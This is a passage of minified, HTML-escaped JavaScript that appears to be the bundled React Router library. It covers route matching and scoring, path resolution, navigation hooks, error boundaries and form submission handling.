b=ta([r,S.relativePath]),A=f.concat(S);y.children&amp;&amp;y.children.length&gt;0&amp;&amp;(Xe(y.index!==!0,`Index routes must not have child routes. Please remove all child routes from route path &quot;${b}&quot;.`),Ym(y.children,c,A,b,g)),!(y.path==null&amp;&amp;!y.index)&amp;&amp;c.push({path:b,score:tx(b,y.index),routesMeta:A})};return u.forEach((y,v)=&gt;{var g;if(y.path===&quot;&quot;||!((g=y.path)!=null&amp;&amp;g.includes(&quot;?&quot;)))p(y,v);else for(let x of km(y.path))p(y,v,!0,x)}),c}function km(u){let c=u.split(&quot;/&quot;);if(c.length===0)return[];let[f,...r]=c,d=f.endsWith(&quot;?&quot;),p=f.replace(/\?$/,&quot;&quot;);if(r.length===0)return d?[p,&quot;&quot;]:[p];let y=km(r.join(&quot;/&quot;)),v=[];return v.push(...y.map(g=&gt;g===&quot;&quot;?p:[p,g].join(&quot;/&quot;))),d&amp;&amp;v.push(...y),v.map(g=&gt;u.startsWith(&quot;/&quot;)&amp;&amp;g===&quot;&quot;?&quot;/&quot;:g)}function Kp(u){u.sort((c,f)=&gt;c.score!==f.score?f.score-c.score:ax(c.routesMeta.map(r=&gt;r.childrenIndex),f.routesMeta.map(r=&gt;r.childrenIndex)))}var $p=/^:[\w-]+$/,Fp=3,Wp=2,Ip=1,Pp=10,ex=-2,zm=u=&gt;u===&quot;*&quot;;function tx(u,c){let f=u.split(&quot;/&quot;),r=f.length;return f.some(zm)&amp;&amp;(r+=ex),c&amp;&amp;(r+=Wp),f.filter(d=&gt;!zm(d)).reduce((d,p)=&gt;d+($p.test(p)?Fp:p===&quot;&quot;?Ip:Pp),r)}function ax(u,c){return u.length===c.length&amp;&amp;u.slice(0,-1).every((r,d)=&gt;r===c[d])?u[u.length-1]-c[c.length-1]:0}function lx(u,c,f=!1){let{routesMeta:r}=u,d={},p=&quot;/&quot;,y=[];for(let v=0;v&lt;r.length;++v){let g=r[v],x=v===r.length-1,S=p===&quot;/&quot;?c:c.slice(p.length)||&quot;/&quot;,b=Ei({path:g.relativePath,caseSensitive:g.caseSensitive,end:x},S),A=g.route;if(!b&amp;&amp;x&amp;&amp;f&amp;&amp;!r[r.length-1].route.index&amp;&amp;(b=Ei({path:g.relativePath,caseSensitive:g.caseSensitive,end:!1},S)),!b)return null;Object.assign(d,b.params),y.push({params:d,pathname:ta([p,b.pathname]),pathnameBase:rx(ta([p,b.pathnameBase])),route:A}),b.pathnameBase!==&quot;/&quot;&amp;&amp;(p=ta([p,b.pathnameBase]))}return y}function Ei(u,c){typeof u==&quot;string&quot;&amp;&amp;(u={path:u,caseSensitive:!1,end:!0});let[f,r]=nx(u.path,u.caseSensitive,u.end),d=c.match(f);if(!d)return null;let p=d[0],y=p.replace(/(.)\/+$/,&quot;$1&quot;),v=d.slice(1);return{params:r.reduce((x,{paramName:S,isOptional:b},A)=&gt;{if(S===&quot;*&quot;){let R=v[A]||&quot;&quot;;y=p.slice(0,p.length-R.length).replace(/(.)\/+$/,&quot;$1&quot;)}const V=v[A];return b&amp;&amp;!V?x[S]=void 0:x[S]=(V||&quot;&quot;).replace(/%2F/g,&quot;/&quot;),x},{}),pathname:p,pathnameBase:y,pattern:u}}function nx(u,c=!1,f=!0){Kt(u===&quot;*&quot;||!u.endsWith(&quot;*&quot;)||u.endsWith(&quot;/*&quot;),`Route path &quot;${u}&quot; will be treated as if it were &quot;${u.replace(/\*$/,&quot;/*&quot;)}&quot; because the \`*\` character must always follow a \`/\` in the pattern. To get rid of this warning, please change the route path to &quot;${u.replace(/\*$/,&quot;/*&quot;)}&quot;.`);let r=[],d=&quot;^&quot;+u.replace(/\/*\*?$/,&quot;&quot;).replace(/^\/*/,&quot;/&quot;).replace(/[\\.*+^${}|()[\]]/g,&quot;\\$&amp;&quot;).replace(/\/:([\w-]+)(\?)?/g,(y,v,g,x,S)=&gt;{if(r.push({paramName:v,isOptional:g!=null}),g){let b=S.charAt(x+y.length);return b&amp;&amp;b!==&quot;/&quot;?&quot;/([^\\/]*)&quot;:&quot;(?:/([^\\/]*))?&quot;}return&quot;/([^\\/]+)&quot;}).replace(/\/([\w-]+)\?(\/|$)/g,&quot;(/$1)?$2&quot;);return u.endsWith(&quot;*&quot;)?(r.push({paramName:&quot;*&quot;}),d+=u===&quot;*&quot;||u===&quot;/*&quot;?&quot;(.*)$&quot;:&quot;(?:\\/(.+)|\\/*)$&quot;):f?d+=&quot;\\/*$&quot;:u!==&quot;&quot;&amp;&amp;u!==&quot;/&quot;&amp;&amp;(d+=&quot;(?:(?=\\/|$))&quot;),[new RegExp(d,c?void 0:&quot;i&quot;),r]}function sx(u){try{return u.split(&quot;/&quot;).map(c=&gt;decodeURIComponent(c).replace(/\//g,&quot;%2F&quot;)).join(&quot;/&quot;)}catch(c){return Kt(!1,`The URL path &quot;${u}&quot; could not be decoded because it is a malformed URL segment. This is probably due to a bad percent encoding (${c}).`),u}}function ja(u,c){if(c===&quot;/&quot;)return u;if(!u.toLowerCase().startsWith(c.toLowerCase()))return null;let f=c.endsWith(&quot;/&quot;)?c.length-1:c.length,r=u.charAt(f);return r&amp;&amp;r!==&quot;/&quot;?null:u.slice(f)||&quot;/&quot;}var ix=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i;function ux(u,c=&quot;/&quot;){let{pathname:f,search:r=&quot;&quot;,hash:d=&quot;&quot;}=typeof u==&quot;string&quot;?tn(u):u,p;return f?(f=f.replace(/\/\/+/g,&quot;/&quot;),f.startsWith(&quot;/&quot;)?p=Rm(f.substring(1),&quot;/&quot;):p=Rm(f,c)):p=c,{pathname:p,search:ox(r),hash:fx(d)}}function Rm(u,c){let f=c.replace(/\/+$/,&quot;&quot;).split(&quot;/&quot;);return u.split(&quot;/&quot;).forEach(d=&gt;{d===&quot;..&quot;?f.length&gt;1&amp;&amp;f.pop():d!==&quot;.&quot;&amp;&amp;f.push(d)}),f.length&gt;1?f.join(&quot;/&quot;):&quot;/&quot;}function Ic(u,c,f,r){return`Cannot include a &#039;${u}&#039; character in a manually specified \`to.${c}\` field [${JSON.stringify(r)}].  Please separate it out to the \`to.${f}\` field. Alternatively you may provide the full path as a string in &lt;Link to=&quot;...&quot;&gt; and the router will parse it for you.`}function cx(u){return u.filter((c,f)=&gt;f===0||c.route.path&amp;&amp;c.route.path.length&gt;0)}function nr(u){let c=cx(u);return c.map((f,r)=&gt;r===c.length-1?f.pathname:f.pathnameBase)}function _i(u,c,f,r=!1){let d;typeof u==&quot;string&quot;?d=tn(u):(d={...u},Xe(!d.pathname||!d.pathname.includes(&quot;?&quot;),Ic(&quot;?&quot;,&quot;pathname&quot;,&quot;search&quot;,d)),Xe(!d.pathname||!d.pathname.includes(&quot;#&quot;),Ic(&quot;#&quot;,&quot;pathname&quot;,&quot;hash&quot;,d)),Xe(!d.search||!d.search.includes(&quot;#&quot;),Ic(&quot;#&quot;,&quot;search&quot;,&quot;hash&quot;,d)));let p=u===&quot;&quot;||d.pathname===&quot;&quot;,y=p?&quot;/&quot;:d.pathname,v;if(y==null)v=f;else{let b=c.length-1;if(!r&amp;&amp;y.startsWith(&quot;..&quot;)){let A=y.split(&quot;/&quot;);for(;A[0]===&quot;..&quot;;)A.shift(),b-=1;d.pathname=A.join(&quot;/&quot;)}v=b&gt;=0?c[b]:&quot;/&quot;}let g=ux(d,v),x=y&amp;&amp;y!==&quot;/&quot;&amp;&amp;y.endsWith(&quot;/&quot;),S=(p||y===&quot;.&quot;)&amp;&amp;f.endsWith(&quot;/&quot;);return!g.pathname.endsWith(&quot;/&quot;)&amp;&amp;(x||S)&amp;&amp;(g.pathname+=&quot;/&quot;),g}var ta=u=&gt;u.join(&quot;/&quot;).replace(/\/\/+/g,&quot;/&quot;),rx=u=&gt;u.replace(/\/+$/,&quot;&quot;).replace(/^\/*/,&quot;/&quot;),ox=u=&gt;!u||u===&quot;?&quot;?&quot;&quot;:u.startsWith(&quot;?&quot;)?u:&quot;?&quot;+u,fx=u=&gt;!u||u===&quot;#&quot;?&quot;&quot;:u.startsWith(&quot;#&quot;)?u:&quot;#&quot;+u,dx=class{constructor(u,c,f,r=!1){this.status=u,this.statusText=c||&quot;&quot;,this.internal=r,f instanceof Error?(this.data=f.toString(),this.error=f):this.data=f}};function mx(u){return u!=null&amp;&amp;typeof u.status==&quot;number&quot;&amp;&amp;typeof u.statusText==&quot;string&quot;&amp;&amp;typeof u.internal==&quot;boolean&quot;&amp;&amp;&quot;data&quot;in u}function hx(u){return u.map(c=&gt;c.route.path).filter(Boolean).join(&quot;/&quot;).replace(/\/\/*/g,&quot;/&quot;)||&quot;/&quot;}var Qm=typeof window&lt;&quot;u&quot;&amp;&amp;typeof window.document&lt;&quot;u&quot;&amp;&amp;typeof window.document.createElement&lt;&quot;u&quot;;function Xm(u,c){let f=u;if(typeof f!=&quot;string&quot;||!ix.test(f))return{absoluteURL:void 0,isExternal:!1,to:f};let r=f,d=!1;if(Qm)try{let p=new URL(window.location.href),y=f.startsWith(&quot;//&quot;)?new URL(p.protocol+f):new URL(f),v=ja(y.pathname,c);y.origin===p.origin&amp;&amp;v!=null?f=v+y.search+y.hash:d=!0}catch{Kt(!1,`&lt;Link to=&quot;${f}&quot;&gt; contains an invalid URL which will probably break when clicked - please update to a valid URL path.`)}return{absoluteURL:r,isExternal:d,to:f}}Object.getOwnPropertyNames(Object.prototype).sort().join(&quot;\0&quot;);var Vm=[&quot;POST&quot;,&quot;PUT&quot;,&quot;PATCH&quot;,&quot;DELETE&quot;];new Set(Vm);var px=[&quot;GET&quot;,...Vm];new Set(px);var an=m.createContext(null);an.displayName=&quot;DataRouter&quot;;var Ti=m.createContext(null);Ti.displayName=&quot;DataRouterState&quot;;var Zm=m.createContext(!1);function xx(){return m.useContext(Zm)}var Jm=m.createContext({isTransitioning:!1});Jm.displayName=&quot;ViewTransition&quot;;var vx=m.createContext(new Map);vx.displayName=&quot;Fetchers&quot;;var yx=m.createContext(null);yx.displayName=&quot;Await&quot;;var wt=m.createContext(null);wt.displayName=&quot;Navigation&quot;;var ts=m.createContext(null);ts.displayName=&quot;Location&quot;;var Xt=m.createContext({outlet:null,matches:[],isDataRoute:!1});Xt.displayName=&quot;Route&quot;;var sr=m.createContext(null);sr.displayName=&quot;RouteError&quot;;var Km=&quot;REACT_ROUTER_ERROR&quot;,gx=&quot;REDIRECT&quot;,bx=&quot;ROUTE_ERROR_RESPONSE&quot;;function jx(u){if(u.startsWith(`${Km}:${gx}:{`))try{let c=JSON.parse(u.slice(28));if(typeof c==&quot;object&quot;&amp;&amp;c&amp;&amp;typeof c.status==&quot;number&quot;&amp;&amp;typeof c.statusText==&quot;string&quot;&amp;&amp;typeof c.location==&quot;string&quot;&amp;&amp;typeof c.reloadDocument==&quot;boolean&quot;&amp;&amp;typeof c.replace==&quot;boolean&quot;)return c}catch{}}function Sx(u){if(u.startsWith(`${Km}:${bx}:{`))try{let c=JSON.parse(u.slice(40));if(typeof c==&quot;object&quot;&amp;&amp;c&amp;&amp;typeof c.status==&quot;number&quot;&amp;&amp;typeof c.statusText==&quot;string&quot;)return new dx(c.status,c.statusText,c.data)}catch{}}function Nx(u,{relative:c}={}){Xe(ln(),&quot;useHref() may be used only in the context of a &lt;Router&gt; component.&quot;);let{basename:f,navigator:r}=m.useContext(wt),{hash:d,pathname:p,search:y}=as(u,{relative:c}),v=p;return f!==&quot;/&quot;&amp;&amp;(v=p===&quot;/&quot;?f:ta([f,p])),r.createHref({pathname:v,search:y,hash:d})}function ln(){return m.useContext(ts)!=null}function $t(){return Xe(ln(),&quot;useLocation() may be used only in the context of a &lt;Router&gt; component.&quot;),m.useContext(ts).location}var $m=&quot;You should call navigate() in a React.useEffect(), not when your component is first rendered.&quot;;function Fm(u){m.useContext(wt).static||m.useLayoutEffect(u)}function Ft(){let{isDataRoute:u}=m.useContext(Xt);return u?Bx():Ex()}function Ex(){Xe(ln(),&quot;useNavigate() may be used only in the context of a &lt;Router&gt; component.&quot;);let u=m.useContext(an),{basename:c,navigator:f}=m.useContext(wt),{matches:r}=m.useContext(Xt),{pathname:d}=$t(),p=JSON.stringify(nr(r)),y=m.useRef(!1);return Fm(()=&gt;{y.current=!0}),m.useCallback((g,x={})=&gt;{if(Kt(y.current,$m),!y.current)return;if(typeof g==&quot;number&quot;){f.go(g);return}let S=_i(g,JSON.parse(p),d,x.relative===&quot;path&quot;);u==null&amp;&amp;c!==&quot;/&quot;&amp;&amp;(S.pathname=S.pathname===&quot;/&quot;?c:ta([c,S.pathname])),(x.replace?f.replace:f.push)(S,x.state,x)},[c,f,p,d,u])}var _x=m.createContext(null);function Tx(u){let c=m.useContext(Xt).outlet;return m.useMemo(()=&gt;c&amp;&amp;m.createElement(_x.Provider,{value:u},c),[c,u])}function nt(){let{matches:u}=m.useContext(Xt),c=u[u.length-1];return c?c.params:{}}function as(u,{relative:c}={}){let{matches:f}=m.useContext(Xt),{pathname:r}=$t(),d=JSON.stringify(nr(f));return m.useMemo(()=&gt;_i(u,JSON.parse(d),r,c===&quot;path&quot;),[u,d,r,c])}function Ax(u,c){return Wm(u,c)}function Wm(u,c,f){var D;Xe(ln(),&quot;useRoutes() may be used only in the context of a &lt;Router&gt; component.&quot;);let{navigator:r}=m.useContext(wt),{matches:d}=m.useContext(Xt),p=d[d.length-1],y=p?p.params:{},v=p?p.pathname:&quot;/&quot;,g=p?p.pathnameBase:&quot;/&quot;,x=p&amp;&amp;p.route;{let G=x&amp;&amp;x.path||&quot;&quot;;Pm(v,!x||G.endsWith(&quot;*&quot;)||G.endsWith(&quot;*?&quot;),`You rendered descendant &lt;Routes&gt; (or called \`useRoutes()\`) at &quot;${v}&quot; (under &lt;Route path=&quot;${G}&quot;&gt;) but the parent route path has no trailing &quot;*&quot;. This means if you navigate deeper, the parent won&#039;t match anymore and therefore the child routes will never render.

Please change the parent &lt;Route path=&quot;${G}&quot;&gt; to &lt;Route path=&quot;${G===&quot;/&quot;?&quot;*&quot;:`${G}/*`}&quot;&gt;.`)}let S=$t(),b;if(c){let G=typeof c==&quot;string&quot;?tn(c):c;Xe(g===&quot;/&quot;||((D=G.pathname)==null?void 0:D.startsWith(g)),`When overriding the location using \`&lt;Routes location&gt;\` or \`useRoutes(routes, location)\`, the location pathname must begin with the portion of the URL pathname that was matched by all parent routes. The current pathname base is &quot;${g}&quot; but pathname &quot;${G.pathname}&quot; was given in the \`location\` prop.`),b=G}else b=S;let A=b.pathname||&quot;/&quot;,V=A;if(g!==&quot;/&quot;){let G=g.replace(/^\//,&quot;&quot;).split(&quot;/&quot;);V=&quot;/&quot;+A.replace(/^\//,&quot;&quot;).split(&quot;/&quot;).slice(G.length).join(&quot;/&quot;)}let R=Gm(u,{pathname:V});Kt(x||R!=null,`No routes matched location &quot;${b.pathname}${b.search}${b.hash}&quot; `),Kt(R==null||R[R.length-1].route.element!==void 0||R[R.length-1].route.Component!==void 0||R[R.length-1].route.lazy!==void 0,`Matched leaf route at location &quot;${b.pathname}${b.search}${b.hash}&quot; does not have an element or Component. This means it will render an &lt;Outlet /&gt; with a null value by default resulting in an &quot;empty&quot; page.`);let U=wx(R&amp;&amp;R.map(G=&gt;Object.assign({},G,{params:Object.assign({},y,G.params),pathname:ta([g,r.encodeLocation?r.encodeLocation(G.pathname.replace(/%/g,&quot;%25&quot;).replace(/\?/g,&quot;%3F&quot;).replace(/#/g,&quot;%23&quot;)).pathname:G.pathname]),pathnameBase:G.pathnameBase===&quot;/&quot;?g:ta([g,r.encodeLocation?r.encodeLocation(G.pathnameBase.replace(/%/g,&quot;%25&quot;).replace(/\?/g,&quot;%3F&quot;).replace(/#/g,&quot;%23&quot;)).pathname:G.pathnameBase])})),d,f);return c&amp;&amp;U?m.createElement(ts.Provider,{value:{location:{pathname:&quot;/&quot;,search:&quot;&quot;,hash:&quot;&quot;,state:null,key:&quot;default&quot;,unstable_mask:void 0,...b},navigationType:&quot;POP&quot;}},U):U}function Cx(){let u=qx(),c=mx(u)?`${u.status} ${u.statusText}`:u instanceof Error?u.message:JSON.stringify(u),f=u instanceof Error?u.stack:null,r=&quot;rgba(200,200,200, 0.5)&quot;,d={padding:&quot;0.5rem&quot;,backgroundColor:r},p={padding:&quot;2px 4px&quot;,backgroundColor:r},y=null;return console.error(&quot;Error handled by React Router default ErrorBoundary:&quot;,u),y=m.createElement(m.Fragment,null,m.createElement(&quot;p&quot;,null,&quot;💿 Hey developer 👋&quot;),m.createElement(&quot;p&quot;,null,&quot;You can provide a way better UX than this when your app throws errors by providing your own &quot;,m.createElement(&quot;code&quot;,{style:p},&quot;ErrorBoundary&quot;),&quot; or&quot;,&quot; &quot;,m.createElement(&quot;code&quot;,{style:p},&quot;errorElement&quot;),&quot; prop on your route.&quot;)),m.createElement(m.Fragment,null,m.createElement(&quot;h2&quot;,null,&quot;Unexpected Application Error!&quot;),m.createElement(&quot;h3&quot;,{style:{fontStyle:&quot;italic&quot;}},c),f?m.createElement(&quot;pre&quot;,{style:d},f):null,y)}var zx=m.createElement(Cx,null),Im=class extends m.Component{constructor(u){super(u),this.state={location:u.location,revalidation:u.revalidation,error:u.error}}static getDerivedStateFromError(u){return{error:u}}static getDerivedStateFromProps(u,c){return c.location!==u.location||c.revalidation!==&quot;idle&quot;&amp;&amp;u.revalidation===&quot;idle&quot;?{error:u.error,location:u.location,revalidation:u.revalidation}:{error:u.error!==void 0?u.error:c.error,location:c.location,revalidation:u.revalidation||c.revalidation}}componentDidCatch(u,c){this.props.onError?this.props.onError(u,c):console.error(&quot;React Router caught the following error during render&quot;,u)}render(){let u=this.state.error;if(this.context&amp;&amp;typeof u==&quot;object&quot;&amp;&amp;u&amp;&amp;&quot;digest&quot;in u&amp;&amp;typeof u.digest==&quot;string&quot;){const f=Sx(u.digest);f&amp;&amp;(u=f)}let c=u!==void 0?m.createElement(Xt.Provider,{value:this.props.routeContext},m.createElement(sr.Provider,{value:u,children:this.props.component})):this.props.children;return this.context?m.createElement(Rx,{error:u},c):c}};Im.contextType=Zm;var Pc=new WeakMap;function Rx({children:u,error:c}){let{basename:f}=m.useContext(wt);if(typeof c==&quot;object&quot;&amp;&amp;c&amp;&amp;&quot;digest&quot;in c&amp;&amp;typeof c.digest==&quot;string&quot;){let r=jx(c.digest);if(r){let d=Pc.get(c);if(d)throw d;let p=Xm(r.location,f);if(Qm&amp;&amp;!Pc.get(c))if(p.isExternal||r.reloadDocument)window.location.href=p.absoluteURL||p.to;else{const y=Promise.resolve().then(()=&gt;window.__reactRouterDataRouter.navigate(p.to,{replace:r.replace}));throw Pc.set(c,y),y}return m.createElement(&quot;meta&quot;,{httpEquiv:&quot;refresh&quot;,content:`0;url=${p.absoluteURL||p.to}`})}}return u}function Ox({routeContext:u,match:c,children:f}){let r=m.useContext(an);return r&amp;&amp;r.static&amp;&amp;r.staticContext&amp;&amp;(c.route.errorElement||c.route.ErrorBoundary)&amp;&amp;(r.staticContext._deepestRenderedBoundaryId=c.route.id),m.createElement(Xt.Provider,{value:u},f)}function wx(u,c=[],f){let r=f==null?void 0:f.state;if(u==null){if(!r)return null;if(r.errors)u=r.matches;else if(c.length===0&amp;&amp;!r.initialized&amp;&amp;r.matches.length&gt;0)u=r.matches;else return null}let d=u,p=r==null?void 0:r.errors;if(p!=null){let S=d.findIndex(b=&gt;b.route.id&amp;&amp;(p==null?void 0:p[b.route.id])!==void 0);Xe(S&gt;=0,`Could not find a matching route for errors on route IDs: ${Object.keys(p).join(&quot;,&quot;)}`),d=d.slice(0,Math.min(d.length,S+1))}let y=!1,v=-1;if(f&amp;&amp;r){y=r.renderFallback;for(let S=0;S&lt;d.length;S++){let b=d[S];if((b.route.HydrateFallback||b.route.hydrateFallbackElement)&amp;&amp;(v=S),b.route.id){let{loaderData:A,errors:V}=r,R=b.route.loader&amp;&amp;!A.hasOwnProperty(b.route.id)&amp;&amp;(!V||V[b.route.id]===void 0);if(b.route.lazy||R){f.isStatic&amp;&amp;(y=!0),v&gt;=0?d=d.slice(0,v+1):d=[d[0]];break}}}}let g=f==null?void 0:f.onError,x=r&amp;&amp;g?(S,b)=&gt;{var A,V;g(S,{location:r.location,params:((V=(A=r.matches)==null?void 0:A[0])==null?void 0:V.params)??{},unstable_pattern:hx(r.matches),errorInfo:b})}:void 0;return d.reduceRight((S,b,A)=&gt;{let V,R=!1,U=null,D=null;r&amp;&amp;(V=p&amp;&amp;b.route.id?p[b.route.id]:void 0,U=b.route.errorElement||zx,y&amp;&amp;(v&lt;0&amp;&amp;A===0?(Pm(&quot;route-fallback&quot;,!1,&quot;No `HydrateFallback` element provided to render during initial hydration&quot;),R=!0,D=null):v===A&amp;&amp;(R=!0,D=b.route.hydrateFallbackElement||null)));let G=c.concat(d.slice(0,A+1)),$=()=&gt;{let F;return V?F=U:R?F=D:b.route.Component?F=m.createElement(b.route.Component,null):b.route.element?F=b.route.element:F=S,m.createElement(Ox,{match:b,routeContext:{outlet:S,matches:G,isDataRoute:r!=null},children:F})};return r&amp;&amp;(b.route.ErrorBoundary||b.route.errorElement||A===0)?m.createElement(Im,{location:r.location,revalidation:r.revalidation,component:U,error:V,children:$(),routeContext:{outlet:null,matches:G,isDataRoute:!0},onError:x}):$()},null)}function ir(u){return`${u} must be used within a data router.  See https://reactrouter.com/en/main/routers/picking-a-router.`}function Dx(u){let c=m.useContext(an);return Xe(c,ir(u)),c}function Mx(u){let c=m.useContext(Ti);return Xe(c,ir(u)),c}function Ux(u){let c=m.useContext(Xt);return Xe(c,ir(u)),c}function ur(u){let c=Ux(u),f=c.matches[c.matches.length-1];return Xe(f.route.id,`${u} can only be used on routes that contain a unique &quot;id&quot;`),f.route.id}function Hx(){return ur(&quot;useRouteId&quot;)}function qx(){var r;let u=m.useContext(sr),c=Mx(&quot;useRouteError&quot;),f=ur(&quot;useRouteError&quot;);return u!==void 0?u:(r=c.errors)==null?void 0:r[f]}function Bx(){let{router:u}=Dx(&quot;useNavigate&quot;),c=ur(&quot;useNavigate&quot;),f=m.useRef(!1);return Fm(()=&gt;{f.current=!0}),m.useCallback(async(d,p={})=&gt;{Kt(f.current,$m),f.current&amp;&amp;(typeof d==&quot;number&quot;?await u.navigate(d):await u.navigate(d,{fromRouteId:c,...p}))},[u,c])}var Om={};function Pm(u,c,f){!c&amp;&amp;!Om[u]&amp;&amp;(Om[u]=!0,Kt(!1,f))}m.memo(Lx);function Lx({routes:u,future:c,state:f,isStatic:r,onError:d}){return Wm(u,void 0,{state:f,isStatic:r,onError:d})}function cr({to:u,replace:c,state:f,relative:r}){Xe(ln(),&quot;&lt;Navigate&gt; may be used only in the context of a &lt;Router&gt; component.&quot;);let{static:d}=m.useContext(wt);Kt(!d,&quot;&lt;Navigate&gt; must not be used on the initial render in a &lt;StaticRouter&gt;. This is a no-op, but you should modify your code so the &lt;Navigate&gt; is only ever rendered in response to some user interaction or state change.&quot;);let{matches:p}=m.useContext(Xt),{pathname:y}=$t(),v=Ft(),g=_i(u,nr(p),y,r===&quot;path&quot;),x=JSON.stringify(g);return m.useEffect(()=&gt;{v(JSON.parse(x),{replace:c,state:f,relative:r})},[v,x,r,c,f]),null}function Gx(u){return Tx(u.context)}function _e(u){Xe(!1,&quot;A &lt;Route&gt; is only ever to be used as the child of &lt;Routes&gt; element, never rendered directly. Please wrap your &lt;Route&gt; in a &lt;Routes&gt;.&quot;)}function Yx({basename:u=&quot;/&quot;,children:c=null,location:f,navigationType:r=&quot;POP&quot;,navigator:d,static:p=!1,unstable_useTransitions:y}){Xe(!ln(),&quot;You cannot render a &lt;Router&gt; inside another &lt;Router&gt;. You should never have more than one in your app.&quot;);let v=u.replace(/^\/*/,&quot;/&quot;),g=m.useMemo(()=&gt;({basename:v,navigator:d,static:p,unstable_useTransitions:y,future:{}}),[v,d,p,y]);typeof f==&quot;string&quot;&amp;&amp;(f=tn(f));let{pathname:x=&quot;/&quot;,search:S=&quot;&quot;,hash:b=&quot;&quot;,state:A=null,key:V=&quot;default&quot;,unstable_mask:R}=f,U=m.useMemo(()=&gt;{let D=ja(x,v);return D==null?null:{location:{pathname:D,search:S,hash:b,state:A,key:V,unstable_mask:R},navigationType:r}},[v,x,S,b,A,V,r,R]);return Kt(U!=null,`&lt;Router basename=&quot;${v}&quot;&gt; is not able to match the URL &quot;${x}${S}${b}&quot; because it does not start with the basename, so the &lt;Router&gt; won&#039;t render anything.`),U==null?null:m.createElement(wt.Provider,{value:g},m.createElement(ts.Provider,{children:c,value:U}))}function kx({children:u,location:c}){return Ax(ar(u),c)}function ar(u,c=[]){let f=[];return m.Children.forEach(u,(r,d)=&gt;{if(!m.isValidElement(r))return;let p=[...c,d];if(r.type===m.Fragment){f.push.apply(f,ar(r.props.children,p));return}Xe(r.type===_e,`[${typeof r.type==&quot;string&quot;?r.type:r.type.name}] is not a &lt;Route&gt; component. All component children of &lt;Routes&gt; must be a &lt;Route&gt; or &lt;React.Fragment&gt;`),Xe(!r.props.index||!r.props.children,&quot;An index route cannot have child routes.&quot;);let y={id:r.props.id||p.join(&quot;-&quot;),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,middleware:r.props.middleware,loader:r.props.loader,action:r.props.action,hydrateFallbackElement:r.props.hydrateFallbackElement,HydrateFallback:r.props.HydrateFallback,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.hasErrorBoundary===!0||r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&amp;&amp;(y.children=ar(r.props.children,p)),f.push(y)}),f}var Si=&quot;get&quot;,Ni=&quot;application/x-www-form-urlencoded&quot;;function Ai(u){return typeof HTMLElement&lt;&quot;u&quot;&amp;&amp;u instanceof HTMLElement}function Qx(u){return Ai(u)&amp;&amp;u.tagName.toLowerCase()===&quot;button&quot;}function Xx(u){return Ai(u)&amp;&amp;u.tagName.toLowerCase()===&quot;form&quot;}function Vx(u){return Ai(u)&amp;&amp;u.tagName.toLowerCase()===&quot;input&quot;}function Zx(u){return!!(u.metaKey||u.altKey||u.ctrlKey||u.shiftKey)}function Jx(u,c){return u.button===0&amp;&amp;(!c||c===&quot;_self&quot;)&amp;&amp;!Zx(u)}var bi=null;function Kx(){if(bi===null)try{new FormData(document.createElement(&quot;form&quot;),0),bi=!1}catch{bi=!0}return bi}var $x=new Set([&quot;application/x-www-form-urlencoded&quot;,&quot;multipart/form-data&quot;,&quot;text/plain&quot;]);function er(u){return u!=null&amp;&amp;!$x.has(u)?(Kt(!1,`&quot;${u}&quot; is not a valid \`encType\` for \`&lt;Form&gt;\`/\`&lt;fetcher.Form&gt;\` and will default to &quot;${Ni}&quot;`),null):u}function Fx(u,c){let f,r,d,p,y;if(Xx(u)){let v=u.getAttribute(&quot;action&quot;);r=v?ja(v,c):null,f=u.getAttribute(&quot;method&quot;)||Si,d=er(u.getAttribute(&quot;enctype&quot;))||Ni,p=new FormData(u)}else if(Qx(u)||Vx(u)&amp;&amp;(u.type===&quot;submit&quot;||u.type===&quot;image&quot;)){let v=u.form;if(v==null)throw new Error(&#039;Cannot submit a &lt;button&gt; or &lt;input type=&quot;submit&quot;&gt; without a &lt;form&gt;&#039;);let g=u.getAttribute(&quot;formaction&quot;)||v.getAttribute(&quot;action&quot;);if(r=g?ja(g,c):null,f=u.getAttribute(&quot;formmethod&quot;)||v.getAttribute(&quot;method&quot;)||Si,d=er(u.getAttribute(&quot;formenctype&quot;))||er(v.getAttribute(&quot;enctype&quot;))||Ni,p=new FormData(v,u),!Kx()){let{name:x,type:S,value:b}=u;if(S===&quot;image&quot;){let A=x?`${x}.`:&quot;&quot;;p.append(`${A}x`,&quot;0&quot;),p.append(`${A}y`,&quot;0&quot;)}else x&amp;&amp;p.append(x,b)}}else{if(Ai(u))throw new Error(&#039;Cannot submit element that is not &lt;form&gt;, &lt;button&gt;, or &lt;input type=&quot;submit|image&quot;&gt;&#039;);f=Si,r=null,d=Ni,y=u}return p&amp;&amp;d===&quot;text/plain&quot;&amp;&amp;(y=p,p=void 0),{action:r,method:f.toLowerCase(),encType:d,formData:p,body:y}}Object.getOwnPropertyNames(Object.prototype).sort().join(&quot;\0&quot;);function rr(u,c){if(u===!1||u===null||typeof u&gt;&quot;u&quot;)throw new Error(c)}function eh(u,c,f,r){let d=typeof u==&quot;string&quot;?new URL(u,typeof window&gt;&quot;u&quot;?&quot;server://singlefetch/&quot;:window.location.origin):u;return f?d.pathname.endsWith(&quot;/&quot;)?d.pathname=`${d.pathname}_.${r}`:d.pathname=`${d.pathname}.${r}`:d.pathname===&quot;/&quot;?d.pathname=`_root.${r}`:c&amp;&amp;ja(d.pathname,c)===&quot;/&quot;?d.pathname=`${c.replace(/\/$/,&quot;&quot;)}/_root.${r}`:d.pathname=`${d.pathname.replace(/\/$/,&quot;&quot;)}.${r}`,d}async function Wx(u,c){if(u.id in c)return c[u.id];try{let f=await import(u.module);return c[u.id]=f,f}catch(f){return console.error(`Error loading route module \`${u.module}\`, reloading page...`),console.error(f),window.__reactRouterContext&amp;&amp;window.__reactRouterContext.isSpaMode,window.location.reload(),new Promise(()=&gt;{})}}function Ix(u){return u==null?!1:u.href==null?u.rel===&quot;preload&quot;&amp;&amp;typeof u.imageSrcSet==&quot;string&quot;&amp;&amp;typeof u.imageSizes==&quot;string&quot;:typeof u.rel==&quot;string&quot;&amp;&amp;typeof u.href==&quot;string&quot;}async function Px(u,c,f){let r=await Promise.all(u.map(async d=&gt;{let p=c.routes[d.route.id];if(p){let y=await Wx(p,f);return y.links?y.links():[]}return[]}));return 